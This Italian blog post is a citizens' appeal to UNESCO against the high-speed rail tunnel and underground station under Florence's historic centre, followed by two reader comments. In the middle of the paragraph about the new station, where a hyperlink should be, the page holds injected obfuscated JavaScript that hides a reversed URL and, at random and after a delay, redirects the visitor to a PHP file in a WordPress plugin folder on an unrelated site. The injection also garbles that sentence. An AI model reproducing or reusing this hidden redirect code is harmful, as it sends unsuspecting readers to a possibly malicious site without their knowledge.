15 dicembre 2018

Tunnel Tav. Appello all'Unesco: "Firenze, patrimonio dell'umanità, è a rischio"

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ALL’ATTENZIONE DELL’UNESCO:

GRAVI RISCHI PER IL CENTRO STORICO DI FIRENZE, PATRIMONIO DELL’UMANITA’ PROTETTO DALL’UNESCO DAL 1982http://whc.unesco.org/en/list/174

In Italia si sta costruendo un sistema ferroviario di linee ad alta velocità.
Per permettere il passaggio dei treni Alta Velocità nel nodo ferroviario di Firenze, è prevista la costruzione di un tunnel a doppia canna di circa 7 km e di una nuova $p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andpartners.com/Projects/1194/Default.aspx” target=”_blank”>stazione sotterranea, progettata dall’architetto Foster. Come mostra la cartina allegata al presente mail, questo doppio tunnel passerà sotto la Fortezza da Basso e lambirà per circa 800 m il perimetro del centro storico, dichiarato dal 1982 patrimonio dell’Umanità dall’UNESCO.

I lavori di scavo veri e propri non sono ancora cominciati, anche se l’appalto è già stato assegnato e sono aperti i cantieri preparatori in varie zone della città. Il gruppo di cittadini che rappresentiamo si oppone da tempo a questa opera perché è impattante e pericolosa, terribilmente costosa e sostanzialmente inutile dal punto di vista trasportistico, come spieghiamo qui sotto:

1) Il progetto è altamente impattante, anche a causa della forte disomogeneità del suolo fiorentino, soprattutto per

  • gli effetti diretti dovuti alla costruzione del doppio tunnel, in termini di vibrazioni e pericoli di crollo e cedimento; questi rischi si estendono fino ad alcune centinaia di metri dal percorso di scavo, e quindi coinvolgono direttamente la Fortezza da Basso e una rilevante area del centro storico

  • l’effetto diga provocato dal fatto che il tunnel e la stazione sotterranea (un’ enorme camera di 454m x 52m, con i binari a 25m di profondità) intercettano perpendicolarmente lo scorrimento della falda acquifera sotterranea che scende dalle colline verso il fiume Arno. Ciò provocherà un certo innalzamento della falda a monte del tunnel e un conseguente abbassamento a valle: tutto il centro storico si trova a valle di questa nuova linea ferroviaria per cui abbiamo ragione di temere dei conseguenti possibili sprofondamenti dei terreni (abitati).

2) I lavori dureranno molti anni (almeno 8), e molto probabilmente piu’ di quanto preventivato proprio a causa dei possibili danni in corso d’opera. Durante tutto il periodo dei lavori cittadini, bambini e turisti subiranno l’inquinamento provocato da rumore e polveri emessi dai lavori di scavo e dai camion che trasporteranno via i materiali di risulta.

3) Il progetto è terribilmente costoso e sostanzialmente inutile dal punto di vista trasportistico. Mentre l’appalto è stato vinto nel 2007 con un importo di circa 700 milioni, nel sito RFI è riportato che il costo complessivo sarà di 1,5 miliardi di euro (circa) e nei giornali locali si parla già di 1,7 miliardi. I costi lieviteranno ulteriormente per le mitigazioni ambientali e i problemi che insorgeranno durante i lavori.

Uno studio della facoltà di Architettura dell’Università di Firenze, in particolare elaborato dal LAPEI (Laboratorio di Progettazione Ecologica degli Insediamenti), ha messo in evidenza tutta la superficialità della progettazione avvenuta fino ad oggi, concludendo “con la proposta di abbandono del presente progetto di sottoattraversamento per elaborare immediatamente una proposta radicalmente diversa e meno impattante, da ricercare tramite soluzioni progettuali che prevedano l’attraversamento in superficie della città di Firenze“. Tale progetto alternativo include anche una nuova soluzione progettuale per la stazione centrale e per un sistema di rete ferroviaria metropolitana, tramite l’aggiunta in superficie di due binari affiancati a quelli dell’attuale linea ferroviaria. Questo progetto ha un costo di circa 300 milioni di €, non ha sostanziali impatti ambientali ed è molto più veloce e semplice a realizzarsi, richiedendo solo tre anni di lavori.

Nonostante tutti rischi che abbiamo accennato, le istituzioni politiche locali, regionali e nazionali tuttora continuano a sostenere e portare avanti ostinatamente la realizzazione del sottoattraversamento e della stazione sotterranea. Ad esempio, il sindaco Matteo Renzi, durante il consiglio comunale del 19/10/2009, ha dichiarato che il passaggio in superficie dell’Alta Velocita’ si può fare tecnicamente, ma non è stato scelto per motivi politici. Abbiamo letto dai quotidiani di alcune “pressioni” politiche sugli organi tecnici di vigilanza: dato che gli interessi economici in gioco sono molto rilevanti e tutti i partiti politici sono coesi nel non voler prendere in considerazione soluzioni alternative, vi invitiamo ad acquisire informazioni in maniera indipendente dai rappresentanti locali.

Vi chiediamo quindi di intervenire per proteggere questo patrimonio dell’Umanità.

0 Comments

  1. Lucia Evangelisti

    Aggiungo che un’amministrazione che si è basata,in passato, su dei tecnici che non sono stati in grado di CALCOLARE IL RAGGIO DI CURVATURA della strada che da via del Romito scende al viale, per cui gli autobus doppi non possono fare questo tragitto, denota un sistema in cui le grandi opere sono concertate allo scopo di maneggiare grandi somme di denaro.In altre parole non vengono decise scegliendo la soluzione migliore e seguendo le fasi dei lavori con vigilanza, pronti a dirottare le scelte se la realtà presenta ostacoli imprevisti.Si procede a testa bassa, senza sufficienti riscontri tecnici nelle varie fasi. E’ come un patto d’acciaio,indipendente dalla realta che quotidianamente si trova durante i lavori.Per cui, oltre all’inutilità e al danno del progetto di scavo,di cui si parla con dovizia nell’articolo, si aggiungono fondatissimi timori di crollo di mezza Firenze. Non perchè non esistano tecnici in grado di calcolare e prevedere, ma perchè si interpellano,sicuramente, coloro che non creano problemi al progetto prestabilito. UNESCO AIUTO!!!

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  2. Piero Bandinelli

    Vivo nella sperabza che l’ UNESCO e la commisione Europea valutando lo scempio che vieme perpretato per la città di FIRENZE rieaca a bloccare tale nefandezza.
    Quando nel passato transitava il PENDOLINO, la linea ferroviaria sfruttava un tratto estermo con passaggio tramite la galleria del Pellegrino dalla stazione di Castello fino a riallacciarsi alla linea direttissima in vicinanza della stazione di Campo di Marte.
    Perchè non valorizzare il vecchio percorso e risparmiare lo scempio perpretato e far vivere sonni tranquilli ai fiorentini?????
    Anzi proporrei che i soldi risparniati siano utulizzati ai fini Sociali.

    Piero Bandinelli

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